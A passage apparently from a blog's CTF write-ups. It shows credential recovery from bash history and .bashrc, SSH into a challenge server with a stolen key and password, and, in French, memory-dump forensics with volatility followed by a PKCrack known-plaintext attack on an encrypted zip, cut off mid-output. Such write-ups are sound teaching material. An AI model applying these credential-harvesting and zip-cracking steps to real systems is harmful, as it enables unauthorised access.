vncserver -geometry 800x600
exit
cd ~/apps/
kls
ls
nano upload_ip_address.sh
rm ip_address.txt
exit
w
write pi pts/0
echo "hi" > /dev/pts/0
exit
sudo apt-get update
.upload_ip_address.sh
./upload_ip_address.sh
ls
rm ip_address.txt
clear
</code></pre></div>
<p>We can spot many interestings things here. First, the developper made an encrypted zip with the following command : <code>zip --password "$ARCHIVE_PIN" "$PRODUCTION_BACKUP_FILE" id_santa_production*</code>. By scrolling up a bit, we can see that the environnement variable <code>$ARCHIVE_PIN</code> value has been set to <code>25362</code>.</p>
<p>Let’s try to get the contents of the zip files with this password :</p>
<div class="highlight"><pre><span></span><code>$ ls
dev_081219_backup.zip dev_101219_backup.zip dev_121219_backup.zip dev_141219_backup.zip dev_161219_backup.zip
dev_091219_backup.zip dev_111219_backup.zip dev_131219_backup.zip dev_151219_backup.zip
$ <span class="k">for</span> z <span class="k">in</span> *.zip<span class="p">;</span> <span class="k">do</span> unzip -P <span class="m">25362</span> <span class="nv">$z</span><span class="p">;</span> <span class="k">done</span>
Archive: dev_081219_backup.zip
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
Archive: dev_091219_backup.zip
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
Archive: dev_101219_backup.zip
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
Archive: dev_111219_backup.zip
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
Archive: dev_121219_backup.zip
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
Archive: dev_131219_backup.zip
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
Archive: dev_141219_backup.zip
inflating: id_santa_production
inflating: id_santa_production.pub
Archive: dev_151219_backup.zip
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
Archive: dev_161219_backup.zip
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
</code></pre></div>
<p><code>dev_141219.zip</code> got extracted ! we now have access to an openssh public key, <code>id_santa_production.pub</code> and it’s corrsponding private key <code>id_santa_production</code>.</p>
<p>In the <code>.bash_history</code>, we can also notice that an ssh command has been issued : <code>ssh -p 5700 rudolf-the-reindeer@46.30.204.47</code>.</p>
<p>Let’s try to connect to this server using the private key we just got :</p>
<div class="highlight"><pre><span></span><code>$ chmod <span class="m">700</span> id_santa_production*
$ ssh -p <span class="m">5700</span> rudolf-the-reindeer@46.30.204.47 -i id_santa_production
Enter passphrase <span class="k">for</span> key <span class="s1">'id_santa_production'</span>
</code></pre></div>
<p>Well, the private key is password protected :(.A</p>
<p>As there are no other interesting informations in the <code>.bash_history</code>, let’s try to look at the <code>.bashrc</code> file. Here is a reduced version of its content:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># ~/.bashrc: executed by bash(1) for non-login shells.</span>
<span class="c1"># see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)</span>
...
<span class="o">[</span>Skipped this uninteresting part<span class="o">]</span>
...
<span class="c1"># Should make life easier for development</span>
<span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$NODE_ENV</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"developer_workstation"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nb">export</span> <span class="nv">PRD_PWD</span><span class="o">=</span><span class="s1">'HoHoHo2020!NorthPole'</span>
<span class="k">fi</span>
...
<span class="o">[</span>Skipped this uninteresting part<span class="o">]</span>
...
<span class="o">[</span> -s <span class="s2">"</span><span class="nv">$NVM_DIR</span><span class="s2">/nvm.sh"</span> <span class="o">]</span> <span class="o">&&</span> <span class="se">\.</span> <span class="s2">"</span><span class="nv">$NVM_DIR</span><span class="s2">/nvm.sh"</span> <span class="c1"># This loads nvm</span>
<span class="o">[</span> -s <span class="s2">"</span><span class="nv">$NVM_DIR</span><span class="s2">/bash_completion"</span> <span class="o">]</span> <span class="o">&&</span> <span class="se">\.</span> <span class="s2">"</span><span class="nv">$NVM_DIR</span><span class="s2">/bash_completion"</span> <span class="c1"># This loads nvm bash_completion</span>
</code></pre></div>
<p>Looks like we now have a password! Let’s try it :</p>
<div class="highlight"><pre><span></span><code>$ ssh -p <span class="m">5700</span> rudolf-the-reindeer@46.30.204.47 -i id_santa_production
Enter passphrase <span class="k">for</span> key <span class="s1">'id_santa_production'</span>:
___ _ _ _ _____ _ ___ _____ ___
/ __<span class="p">|</span> /_<span class="se">\ </span><span class="p">|</span> <span class="se">\|</span> <span class="p">|</span>_ _/_<span class="se">\ </span> / __<span class="p">|</span>_ _<span class="p">|</span> __<span class="p">|</span>
<span class="se">\_</span>_ <span class="se">\/</span> _ <span class="se">\|</span> .<span class="sb">`</span> <span class="p">|</span> <span class="p">|</span> <span class="p">|</span>/ _ <span class="se">\ </span> <span class="p">|</span> <span class="o">(</span>__ <span class="p">|</span> <span class="p">|</span> <span class="p">|</span> _<span class="p">|</span>
<span class="p">|</span>___/_/ <span class="se">\_\_</span><span class="p">|</span><span class="se">\_</span><span class="p">|</span> <span class="p">|</span>_/_/ <span class="se">\_\ </span> <span class="se">\_</span>__<span class="p">|</span> <span class="p">|</span>_<span class="p">|</span> <span class="p">|</span>_<span class="p">|</span>
Well <span class="k">done</span>, the flag is SANTA<span class="o">{</span>NeverTrustDockerImages7263<span class="o">}</span>
You may now log out of this server with <span class="s2">"exit"</span>
-bash-5.0$
</code></pre></div>
<p>Annnd here it is, our beloved flag.</p>Santhacklaus 2018 - Mission impossible 1 [FR]2018-12-22T00:00:00+01:002018-12-22T00:00:00+01:00Antoxydetag:w0nderland.fr,2018-12-22:/santhacklaus-2018-mission-impossible-1-fr.html<h1>Description du challenge</h1>
<p>Il s'agit du chall donnant le plus de point de ce CTF (800pts).
C'est un chall de forensic classique, basé sur l'analyse d'un memorydump.</p>
<p>Pour commencé, il nous est donné un zip :</p>
<div class="highlight"><pre><span></span><code>$ unzip -l MI1_fix01.zip
Archive: MI1_fix01.zip
Length Date Time Name
--------- ---------- ----- ----
<span class="m">1094804832</span> <span class="m">2018</span>-12-16 <span class="m">17 …</span></code></pre></div><h1>Description du challenge</h1>
<p>Il s'agit du chall donnant le plus de point de ce CTF (800pts).
C'est un chall de forensic classique, basé sur l'analyse d'un memorydump.</p>
<p>Pour commencé, il nous est donné un zip :</p>
<div class="highlight"><pre><span></span><code>$ unzip -l MI1_fix01.zip
Archive: MI1_fix01.zip
Length Date Time Name
--------- ---------- ----- ----
<span class="m">1094804832</span> <span class="m">2018</span>-12-16 <span class="m">17</span>:18 challenge.elf
<span class="m">48</span> <span class="m">2018</span>-12-16 <span class="m">17</span>:33 challenge.md5
--------- -------
<span class="m">1094804880</span> <span class="m">2</span> files
</code></pre></div>
<h1>Préparation de l'aventure</h1>
<p>En l'extrayant, on obtient un memorydump de 1.1Go
Premier reflexe, regarder si c'est un dump de RAM d'un OS Windows ou Linux :</p>
<div class="highlight"><pre><span></span><code>$ strings challenge.elf <span class="p">|</span>grep -i linux <span class="p">|</span>head
/build/linux-luZh6p/linux-3.16.57/drivers/scsi/pm8001/pm8001_init.c
/build/linux-luZh6p/linux-3.16.57/arch/x86/include/asm/dma-mapping.h
/build/linux-luZh6p/linux-3.16.57/include/asm-generic/dma-mapping-common.h
/build/linux-luZh6p/linux-3.16.57/drivers/scsi/pm8001/pm8001_hwi.c
/build/linux-luZh6p/linux-3.16.57/include/linux/netdevice.h
/build/linux-luZh6p/linux-3.16.57/drivers/net/ethernet/fujitsu/fmvj18x_cs.c
/home/michael/vbox/branches/VBox-5.2/out/linux.amd64/release/obj/VBoxVgaBios386/VBoxVgaBios386.sym
/build/linux-luZh6p/linux-3.16.57/drivers/ata/libata-core.c
/build/linux-luZh6p/linux-3.16.57/include/asm-generic/dma-mapping-common.h
/build/linux-luZh6p/linux-3.16.57/drivers/ata/libata-scsi.c
</code></pre></div>
<p>On voit directement que c'est la deuxième option.
On va donc utiliser l'outil classique pour l'analyse de dump mémoire, à savoir volatility (https://github.com/volatilityfoundation/volatility)
Volatility travaille avec des profils, et sous Linux les paramètres d'un profil changent en fonction de la version du kernel de la machine dont la RAM a été dumpée.</p>
<div class="highlight"><pre><span></span><code>$ strings challenge.elf <span class="p">|</span>grep <span class="s2">"Linux version"</span>
Linux version %d.%d.%d
Linux version <span class="m">3</span>.16.0-6-amd64 <span class="o">(</span>debian-kernel@lists.debian.org<span class="o">)</span> <span class="o">(</span>gcc version <span class="m">4</span>.9.2 <span class="o">(</span>Debian <span class="m">4</span>.9.2-10+deb8u1<span class="o">)</span> <span class="o">)</span> <span class="c1">#1 SMP Debian 3.16.57-2 (2018-07-14)</span>
Linux version <span class="m">3</span>.16.0-6-amd64 <span class="o">(</span>debian-kernel@lists.debian.org<span class="o">)</span> <span class="o">(</span>gcc version <span class="m">4</span>.9.2 <span class="o">(</span>Debian <span class="m">4</span>.9.2-10+deb8u1<span class="o">)</span> <span class="o">)</span> <span class="c1">#1 SMP Debian 3.16.57-2 (2018-07-14)</span>
Dec <span class="m">16</span> <span class="m">11</span>:14:09 virtual-debian kernel: <span class="o">[</span> <span class="m">0</span>.000000<span class="o">]</span> Linux version <span class="m">3</span>.16.0-6-amd64 <span class="o">(</span>debian-kernel@lists.debian.org<span class="o">)</span> <span class="o">(</span>gcc version <span class="m">4</span>.9.2 <span class="o">(</span>Debian <span class="m">4</span>.9.2-10+deb8u1<span class="o">)</span> <span class="o">)</span> <span class="c1">#1 SMP Debian 3.16.57-2 (2018-07-14)</span>
Dec <span class="m">16</span> <span class="m">11</span>:14:09 virtual-debian kernel: <span class="o">[</span><span class="m">10295</span>.865806<span class="o">]</span> intel_idle: does noual-debian kernel: <span class="o">[</span> <span class="m">0</span>.000000<span class="o">]</span> Linux version <span class="m">3</span>.16.0-6-amd64 <span class="o">(</span>debian-kernel@lists.debian.org<span class="o">)</span> <span class="o">(</span>gcc version <span class="m">4</span>.9.2 <span class="o">(</span>Debian <span class="m">4</span>.9.2-10+deb8u1<span class="o">)</span> <span class="o">)</span> <span class="c1">#1 SMP Debian 3.16.57-2 (2018-07-14)</span>
Dec <span class="m">16</span> <span class="m">11</span>:14:09 virtual-debian kernel: <span class="o">[</span> <span class="m">0</span>.000000<span class="o">]</span> Linux version <span class="m">3</span>.16.0-6-amd64 <span class="o">(</span>debian-kernel@lists.debian.org<span class="o">)</span> <span class="o">(</span>gcc version <span class="m">4</span>.9.2 <span class="o">(</span>Debian <span class="m">4</span>.9.2-10+deb8u1<span class="o">)</span> <span class="o">)</span> <span class="c1">#1 SMP Debian 3.16.57-2 (2018-07-14)</span>
<span class="m">2018</span>-12-16T11:14:09.150996-05:00 virtual-debian kernel: <span class="o">[</span> <span class="m">0</span>.000000<span class="o">]</span> Linux version <span class="m">3</span>.16.0-6-amd64 <span class="o">(</span>debian-kernel@lists.debian.org<span class="o">)</span> <span class="o">(</span>gcc version <span class="m">4</span>.9.2 <span class="o">(</span>Debian <span class="m">4</span>.9.2-10+deb8u1<span class="o">)</span> <span class="o">)</span> <span class="c1">#1 SMP Debian 3.16.57-2 (2018-07-14)</span>
<span class="nv">MESSAGE</span><span class="o">=</span>Linux version <span class="m">3</span>.16.0-6-amd64 <span class="o">(</span>debian-kernel@lists.debian.org<span class="o">)</span> <span class="o">(</span>gcc version <span class="m">4</span>.9.2 <span class="o">(</span>Debian <span class="m">4</span>.9.2-10+deb8u1<span class="o">)</span> <span class="o">)</span> <span class="c1">#1 SMP Debian 3.16.57-2 (2018-07-14)</span>
</code></pre></div>
<p>On récupère la version du kernel utilisé : <code>3.16.0-6-amd64</code>
On peut également repérer la string <code>deb8u1</code> , qui nous indique qu'on est sur du Debian 8.
L'étape d'après, c'est donc de monter une VM Debian 8 et d'y installer le bon kernel.
Par chance, la version du kernel à installer est celle utilisée sur l'ISO de Debian 8 par défaut.</p>
<p>Il nous reste donc simplement à installer les headers du kernel, et les outils de volatility.
<code>$ apt-cache search $(uname -r)</code>
Pour trouver le bon paquet, puis
<code>$ apt-get install linux-headers-3.16.0-6-amd64 volality-tools make</code></p>
<p>On va maintenant build le profil
<code>$ dd /usr/src/volatility-tools/linux</code>
<code>$ make</code>
<code>$ zip debian_3.16.0-6-amd64.zip /usr/src/volatility-tools/linux/module.dwarf /boot/System.map-3.16.0-6-amd64</code></p>
<p>Et maintenant, sur notre OS hôte, on met le profil dans le repertoire ou volatility va chercher les profils :
<code>$ cp debian_3.16.0-6-amd64.zip usr/lib/python2.7/site-packages/volatility/plugins/overlays/linux</code></p>
<p>On check si volatility le reconnait bien :</p>
<div class="highlight"><pre><span></span><code>$ volatility --info <span class="p">|</span>grep debian
Volatility Foundation Volatility Framework <span class="m">2</span>.6
Linuxdebian_3_13_0-6-amd64x64 - A Profile <span class="k">for</span> Linux debian_3.13.0-6-amd64 x64
</code></pre></div>
<p>C'est tout bon, on est pret pour l'aventure!</p>
<h1>Analyse du dump</h1>
<p>Sur les dumps mémoire Linux, je regarde toujours l'historique de bash en premier, c'est généralement le plu croustillant :</p>
<div class="highlight"><pre><span></span><code><span class="err">➜</span> <span class="n">mi1</span> <span class="n">volatility</span> <span class="o">-</span><span class="n">f</span> <span class="n">challenge</span><span class="o">.</span><span class="n">elf</span> <span class="o">--</span><span class="n">profile</span><span class="o">=</span><span class="n">Linuxdebian_3_13_0</span><span class="o">-</span><span class="mi">6</span><span class="o">-</span><span class="n">amd64x64</span> <span class="n">linux_bash</span>
<span class="n">Volatility</span> <span class="n">Foundation</span> <span class="n">Volatility</span> <span class="n">Framework</span> <span class="mf">2.6</span>
<span class="n">Pid</span> <span class="n">Name</span> <span class="n">Command</span> <span class="n">Time</span> <span class="n">Command</span>
<span class="o">--------</span> <span class="o">--------------------</span> <span class="o">------------------------------</span> <span class="o">-------</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">rm</span> <span class="n">flag</span><span class="o">.</span><span class="n">txt</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">ls</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">ls</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">sudo</span> <span class="n">reboot</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">zip</span> <span class="o">-</span><span class="n">r</span> <span class="o">-</span><span class="n">e</span> <span class="o">-</span><span class="n">s</span> <span class="mi">64</span><span class="n">K</span> <span class="n">backup</span><span class="o">.</span><span class="n">zip</span> <span class="o">*</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">cat</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">urandom</span> <span class="o">></span> <span class="n">flag</span><span class="o">.</span><span class="n">txt</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">cd</span> <span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">a</span><span class="o">-</span><span class="n">strong</span><span class="o">-</span><span class="n">hero</span><span class="o">.</span><span class="n">com</span><span class="o">/</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">45</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">sudo</span> <span class="n">reboot</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">49</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">cd</span> <span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">a</span><span class="o">-</span><span class="n">strong</span><span class="o">-</span><span class="n">hero</span><span class="o">.</span><span class="n">com</span><span class="o">/</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">17</span><span class="p">:</span><span class="mi">49</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">ls</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">18</span><span class="p">:</span><span class="mi">09</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">find</span> <span class="o">.</span> <span class="o">-</span><span class="n">type</span> <span class="n">f</span> <span class="o">-</span><span class="n">print0</span> <span class="o">|</span> <span class="n">xargs</span> <span class="o">-</span><span class="mi">0</span> <span class="n">md5sum</span> <span class="o">></span> <span class="n">md5sums</span><span class="o">.</span><span class="n">txt</span>
<span class="mi">1867</span> <span class="n">bash</span> <span class="mi">2018</span><span class="o">-</span><span class="mi">12</span><span class="o">-</span><span class="mi">16</span> <span class="mi">16</span><span class="p">:</span><span class="mi">18</span><span class="p">:</span><span class="mi">10</span> <span class="n">UTC</span><span class="o">+</span><span class="mi">0000</span> <span class="n">cat</span> <span class="n">md5sums</span><span class="o">.</span><span class="n">txt</span>
</code></pre></div>
<p>On remarque que plusieurs commandes sont faites a <code>16:17:45</code> , soit dans la même seconde.
Je ne sais pas si c'est car elles ont été lancées via un script (mais pourquoi on ne vois pas le lancement de ce script alors ?) ou si c'est un "bug" de volatility.</p>
<p>Voilà ce qu'on peut déduire de ces commandes :</p>
<ul>
<li>Le flag se trouve probablement dans un flag.txt</li>
<li>Il y a surement des choses interessantes dans /var/www/a-strong-hero.com</li>
<li>Il y a un fichier <code>backup.zip</code>, qu'on pourra surement dump avec volatility.</li>
</ul>
<p>On regarde maintenant les fichiers que volatility peut retrouver dans notre dump :</p>
<p><code>$ volatility -f challenge.elf --profile=Linuxdebian_3_13_0-6-amd64x64 linux_find_file -L > files.txt</code></p>
<div class="highlight"><pre><span></span><code>$ grep -i backup files.txt
<span class="m">261933</span> 0xffff88001e61e4b0 /var/www/a-strong-hero.com/backup.z02
<span class="m">263120</span> 0xffff88001e61e898 /var/www/a-strong-hero.com/backup.z05
<span class="m">263122</span> 0xffff88001e61ec80 /var/www/a-strong-hero.com/backup.z07
<span class="m">263123</span> 0xffff88001e61d0c8 /var/www/a-strong-hero.com/backup.z08
<span class="m">263125</span> 0xffff88001e61d4b0 /var/www/a-strong-hero.com/backup.zip
<span class="m">261792</span> 0xffff88001e61d898 /var/www/a-strong-hero.com/backup.z01
<span class="m">262990</span> 0xffff88001e61dc80 /var/www/a-strong-hero.com/backup.z04
<span class="m">263121</span> 0xffff88001e61c0c8 /var/www/a-strong-hero.com/backup.z06
<span class="m">263124</span> 0xffff88001e61c4b0 /var/www/a-strong-hero.com/backup.z09
<span class="m">262949</span> 0xffff88001e61cc80 /var/www/a-strong-hero.com/backup.z03
---------------- 0x0 /etc/resolv.conf.pppd-backup.
</code></pre></div>
<p>Plusieurs choses ici :
- Le fichier backup.zip a été fait avec la commande suivante : <code>zip -r -e -s 64K backup.zip *</code> , donc les fichiers backupés sont ceux de <code>/var/www/a-strong-hero.com/</code>, récursivement.
- On remarque les extensions inhabituelles des autres fichiers backup, peut-être une méthode de versionning ésotérique de la part du dev ?</p>
<p>On dump le fichier bazckup.zip avec volatility :</p>
<p><code>$ volatility -f challenge.elf --profile=Linuxdebian_3_13_0-6-amd64x64 linux_find_file -i 0xffff88001e61d4b0 -O backup.zip</code></p>
<p>L'option <code>-i</code> spécifie l'inode , qu'on a trouver en lsitant les fichiers jsute au dessus.</p>
<p>Avant de le dézipper, on peut lister son contenu :</p>
<div class="highlight"><pre><span></span><code>$ unzip -l backup.zip
Archive: backup.zip
warning <span class="o">[</span>backup.zip<span class="o">]</span>: zipfile claims to be last disk of a multi-part archive<span class="p">;</span>
attempting to process anyway, assuming all parts have been concatenated
together <span class="k">in</span> order. Expect <span class="s2">"errors"</span> and warnings...true multi-part support
doesn<span class="err">'</span>t exist yet <span class="o">(</span>coming soon<span class="o">)</span>.
Length Date Time Name
--------- ---------- ----- ----
<span class="m">30</span> <span class="m">2018</span>-12-16 <span class="m">16</span>:57 flag.txt
<span class="m">0</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/
<span class="m">0</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/js/
<span class="m">6148</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/js/.DS_Store
<span class="m">36816</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/js/bootstrap.min.js
<span class="m">95957</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/js/jquery-1.11.3.min.js
<span class="m">68890</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/js/bootstrap.js
<span class="m">79</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/js/custom.js
<span class="m">641</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/js/ie10-viewport-bug-workaround.js
<span class="m">5564</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/js/jquery.easing.min.js
<span class="m">12292</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/.DS_Store
<span class="m">0</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/images/
<span class="m">37682</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/images/concert.jpg
<span class="m">6148</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/images/.DS_Store
<span class="m">52003</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/images/microphone.jpg
<span class="m">49276</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/images/iphone.jpg
<span class="m">91733</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/images/header.jpg
<span class="m">26267</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/images/writing.jpg
<span class="m">133773</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/images/pencil_sharpener.jpg
<span class="m">7384</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/index.html
<span class="m">0</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/fonts/
<span class="m">45404</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/fonts/glyphicons-halflings-regular.ttf
<span class="m">18028</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/fonts/glyphicons-halflings-regular.woff2
<span class="m">23424</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/fonts/glyphicons-halflings-regular.woff
<span class="m">20127</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/fonts/glyphicons-halflings-regular.eot
<span class="m">108738</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/fonts/glyphicons-halflings-regular.svg
<span class="m">0</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/css/
<span class="m">6148</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/css/.DS_Store
<span class="m">147430</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/css/bootstrap.css
<span class="m">8335</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/css/custom.css
<span class="m">122540</span> <span class="m">2018</span>-12-16 <span class="m">15</span>:51 jcvd-website/css/bootstrap.min.css
--------- -------
<span class="m">1130857</span> <span class="m">31</span> files
</code></pre></div>
<p>Ahah! Il y a <code>flag.txt</code> dedans!
On essaye de l'unzip :</p>
<div class="highlight"><pre><span></span><code>$ unzip backup.zip
Archive: backup.zip
warning <span class="o">[</span>backup.zip<span class="o">]</span>: zipfile claims to be last disk of a multi-part archive<span class="p">;</span>
attempting to process anyway, assuming all parts have been concatenated
together <span class="k">in</span> order. Expect <span class="s2">"errors"</span> and warnings...true multi-part support
doesn<span class="err">'</span>t exist yet <span class="o">(</span>coming soon<span class="o">)</span>.
</code></pre></div>
<p>Arf ca aurait été trop simple. On check les options avec lequel ce zip a été créé :</p>
<p><code>$ zip -r -e -s 64K backup.zip *</code></p>
<p>Bon <code>-r</code> c'est du classique, c'est juste pour qu'il travaille récursivement.
<code>-e</code> va permettre de chiffrer le zip, avec un prompt au moment de la création pour demander le mot de passe (donc on ne peut pas le voir dans la ligne de commande ...)
et enfin <code>-s</code>, beaucoup moins courante, qui permet de spliter le zip en plusieurs morceaux. (Aaah c'est donc ca les extensions chelou de tout à l'heure!)</p>
<p>Pour le chiffrement, on verra plus tard, on va déja essayé de récupérer un zip valide.
On commence par dump chacun des <code>backup.z0X</code>.
En se renseignement sur l'internet, on trouve facilement une commande pour tout rassembler :</p>
<p><code>$ zip -s 0 backup.zip --out unsplited-backup.zip</code></p>
<p>On essaye de le dézip, pour voir si il y a toujours des erreurs :</p>
<div class="highlight"><pre><span></span><code>$ unzip unsplited-backup.zip
Archive: unsplited-backup.zip
<span class="o">[</span>unsplited-backup.zip<span class="o">]</span> flag.txt password:
</code></pre></div>
<p>Ah super, on est bon de ce coté la !</p>
<h2>Attaque par clair-connu</h2>
<p>Maintenant, il nous reste ce satané chiffrement.
C'est surement la partie la plus tricky du challenge.
Je connaissais déja le trick, mais il peut se retrouver en ayant une bonne analyse de la situtation :</p>
<p>Dans les commandes, on voit que le fichier flag.txt a été remplacé par du contenu de /dev/urandom, donc on ne peut pas le récupéré dans la liste des fichiers.</p>
<p>Par contre, les fichiers du site , eux, sont toujours disponible sur le disque.
Au final, la seule inconnue de notre zip chiffré, c'est notre flag.txt.
Ca fait quand même beaucoup pensé à une attaque par clair-connu , non ?</p>
<p>Avec quelques recherche duckduckgo, avec des mots clés du genre "zip known plaintext recovery", on tombe assez rapidement sur l'outil PKCrack (ou au moins des writeups qui en parle)
Sur Archlinux, il est dans les dépots AUR, mais si vous ne faites pas partie de l'élite :^) , il est aussi sur github ( https://github.com/keyunluo/pkcrack ).</p>
<p>Une fois notre outil installé, on check ce qu'il demande.
Il réclame fichier qui est dans le zip chiffré et dont on connais le contenu, ainsi qu'un zip non chiffré contenant ce fichier.</p>
<p>Pour le fichier, on va prendre le jquery-1.11.3.min.js, mais on pourrait en prendre un autre, tant qu'il n'est pas trop petit.</p>
<p>Dans notre <code>files.txt</code>, on récupère son inode :</p>
<div class="highlight"><pre><span></span><code>$ grep jquery files.txt
<span class="m">261774</span> 0xffff88001e49ac80 /var/www/a-strong-hero.com/jcvd-website/js/jquery.easing.min.js
<span class="m">261775</span> 0xffff88001e444c80 /var/www/a-strong-hero.com/jcvd-website/js/jquery-1.11.3.min.js
</code></pre></div>
<p>Puis on le dump :</p>
<div class="highlight"><pre><span></span><code>$ volatility -f challenge.elf --profile<span class="o">=</span>Linuxdebian_3_13_0-6-amd64x64 linux_find_file -i 0xffff88001e444c80 -O jquery-1.11.3.min.js
</code></pre></div>
<p>On le met dans un zip :</p>
<div class="highlight"><pre><span></span><code>$ zip plaintex-backup.zip jquery-1.11.3.min.js
</code></pre></div>
<p>Et enfin on lance notre fameux pkcrack :</p>
<div class="highlight"><pre><span></span><code>$ pkcrack -C unsplited-backup.zip -c <span class="s2">"jcvd-website/js/jquery-1.11.3.min.js"</span> -P plaintext-backup.zip -p <span class="s2">"jquery-1.11.3.min.js"</span> -d flag.zip -a
Files read. Starting stage <span class="m">1</span> on Fri Dec <span class="m">21</span> <span class="m">19</span>:16:31 <span class="m">2018</span>
Generating 1st generation of possible key2_33170 values...done.
Found <span class="m">4194304</span> possible key2-values.
Now we<span class="err">'</span>re trying to reduce these...
Lowest number: <span class="m">993</span> values at offset <span class="m">28371</span>
